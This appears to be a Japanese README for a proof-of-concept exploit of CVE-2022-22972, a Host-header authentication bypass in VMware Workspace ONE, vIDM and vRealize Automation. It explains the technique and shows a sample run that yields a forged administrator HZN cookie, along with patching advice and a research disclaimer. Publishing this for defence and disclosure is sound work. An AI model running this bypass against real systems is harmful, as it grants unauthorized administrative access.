horizon3ai/cve-2022-22972CVE-2022-22972に対する概念実証エクスプロイト。VMware Workspace ONE、vIDM、vRealize Automation 7.6においてHostヘッダ操作を介して認証をバイパスする。
CVE-2022-22972 の POC。VMware Workspace ONE、vIDM、および vRealize Automation 7.6 に影響します。
脆弱性の技術的な根本原因分析は、当社のブログでご覧いただけます: https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive
このスクリプトは、CVE-2022-22972 を使用して vRealize Automation 7.6 の認証をバイパスするために使用できます。Workspace ONE と vIDM は異なる認証エンドポイントを持ちますが、脆弱性の核心は同じです。フローを検証するためのテスト記事をお持ちの場合は、プルリクエストを歓迎します。
このスクリプトは、VMware 認証エンドポイントの HTTP POST リクエストの Host ヘッダーを、攻撃者が管理する Host に変更することで機能します。これにより、VMware アプリケーションが資格情報情報を含む Host に接続し、Host が 200 を返した場合、ユーザーは正常に認証されます。
このスクリプトは HZN クッキーを生成し、後続のリクエストに含めることで、侵害されたユーザーとしてアクションを実行できます。
注意: スクリプトのデフォルト引数は、認証リクエストを 当社の AWS API ゲートウェイ に送信します。このゲートウェイは、ブログで言及されている特定のエンドポイントに対して 200 を返すように設定されています。これは --host オプションで変更できます。このエンドポイントは、エクスプロイトフロー中に 機密データを受信しません。脆弱なアプリケーションからの偽の認証ヘッダーを含むリクエストに応答するだけです。
dev@ubuntu:~/vmware/vra/exploit$ python3 CVE-2022-22972.py https://vra-app01.vra.intranet
Extracting state from vcac redirects...
Sending POST to auth endpoint
HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJiM2E3MDJiOS01NjJkLTQwODgtYTg2Ny0xZjY5ZWE4YjAyZjMiLCJwcm4iOiJhZG1pbmlzdHJhdG9yQFZTUEhFUkUuTE9DQUwiLCJkb21haW4iOiJ2c3BoZXJlLmxvY2FsIiwidXNlcl9pZCI6IjMiLCJhdXRoX3RpbWUiOjE2NTM0MjUwOTAsImlzcyI6Imh0dHBzOi8vZWkzd3B0OTEwMC5leGVjdXRlLWFwaS51cy1lYXN0LTIuYW1hem9uYXdzLmNvbS9TQUFTL3QvdnNwaGVyZS5sb2NhbC9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9laTN3cHQ5MTAwLmV4ZWN1dGUtYXBpLnVzLWVhc3QtMi5hbWF6b25hd3MuY29tL1NBQVMvdC92c3BoZXJlLmxvY2FsL2F1dGgvb2F1dGh0b2tlbiIsImN0eCI6Ilt7XCJtdGRcIjpcInVybjp2bXdhcmU6bmFtZXM6YWM6Y2xhc3NlczpMb2NhbFBhc3N3b3JkQXV0aFwiLFwiaWF0XCI6MTY1MzQyNTA5MCxcImlkXCI6M31dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImFkbWluaXN0cmF0b3JAdnJhLWFwcDAxLnZyYS5pbnRyYW5ldCIsImNpZCI6IiIsImRpZCI6IiIsIndpZCI6IiIsInJ1bGVzIjp7ImV4cGlyeSI6MTY1MzQyNjg5MCwicnVsZXMiOlt7InJlc291cmNlcyI6WyIqIl0sImFjdGlvbnMiOlsiKiJdLCJjb25kaXRpb25zIjpudWxsfV0sImxpbmsiOm51bGx9LCJleHAiOjE2NTM0MjY4OTAsImlhdCI6MTY1MzQyNTA5MCwic3ViIjoiYWQzODkzODEtNTRmNS00ODFkLWFmNWEtOWZjNmIzOGI0NzQ0IiwicHJuX3R5cGUiOiJVU0VSIn0.Kkq2UnmqpW6yJb3GGCp7dSXc5PlU1y8YyDULIYLHIvYlB3OC4j5xFDy91a2tk4bi1lAUITymV-NUgweoCl15LXFVfBFYLEs-OAvMLKZhhGnFF-BrxmyYLPJutkxsi-gL0rF4VmYykuYw9tdUY2DghWiGGZ6QTYOts21QUzcvU-8
Set the HZN cookie in your browser to bypass authentication
最新バージョンにアップデートするか、VMSA内の指示に従って緩和策を講じてください。
このソフトウェアは、純粋に学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナーは、ソフトウェアの誤用について責任を負いません。責任を持って使用してください。